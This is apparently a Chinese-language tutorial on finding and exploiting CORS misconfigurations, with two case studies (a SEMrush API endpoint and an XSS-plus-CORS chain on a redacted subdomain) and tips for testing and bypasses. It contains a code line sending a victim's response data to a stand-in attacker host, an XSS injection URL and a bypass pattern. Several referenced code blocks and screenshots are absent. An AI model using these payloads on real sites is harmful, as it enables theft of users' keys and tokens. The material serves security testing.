CORS,即跨源资源共享(Cross-Origin Resource Sharing)。同源策略(Same OriginPolicy)要求不同源之间是无法通信的,而CORS则是放宽同源策略以通过浏览器实现网站之间通信的机制。
通常系统通过配置HTTP响应头来允许发出跨域请求,如下Example1发送一个Origin头,Example2以一个Access Control Allow Origin头响应,然后Example1便可以对Example2的数据进行操作:
CORS配置不当通常会导致的危害是用户敏感信息泄露,场景大多数是get请求方式返回的json形式的敏感信息(密钥、token,key等)。CORS配置不当属于响应头中的一种,其他还有X-Frame-Options、Content-Security-Policy等。漏洞利用成功的前提是,两个返回头必须为:Access-Control-Allow-Origin:https://evil.com
Access-Control-Allow-Credentials:true
1) SEMrush CORS misconfig
访问semrush的一个api端点,插入Origin头为攻击者服务器:
返回信息主体是用户敏感信息,需注意的是返回的Access-Control-Allow-Origin是攻击者服务器,这意味着系统存在CORS配置错误。
下一步,构造HTML文件,诱使受害者点击:
点击后,界面将弹出受害者敏感信息:
修改一下reqListener()函数为
location='//atttacker.net/log?key='+this.responseText;将把敏感数据发到攻击者服务器。
2)redacted子域XSS+ CORSmisconfig
和上面的案例类似,只是Origin接受的是redacted和子域:Origin:evil.redacted.com,要利用这个漏洞,必须在子域中寻找一个xss漏洞,结合xss发起请求,最终在banques.redacted.com发现xss:
https://banques.redacted.com/choice-quiz?form_banque=“> <script> alert(document.domain)</script>&form_cartes= 73&iframestat= 1,将alert事件替换为CORS请求:
最终poc为:
成功获取到敏感数据:
1)挖掘思路
查看是否存在get请求的json形式敏感信息,在请求头中添加任意Origin值,如https://evil.com,查看返回头是否返回:Access-Control-Allow-Origin:https://evil.com和Access-Control-Allow-Credentials:true,若返回,则构造poc.html进行跨域读取数据。
2)绕过手段
绕过通常使用如下poc:
http://www.target.local{.<your-domain>/cors-poc
绕过原理不做详解,可阅读原文下载pdf自行研究,只要利用姿势正确,任何漏洞都可能成为高危漏洞。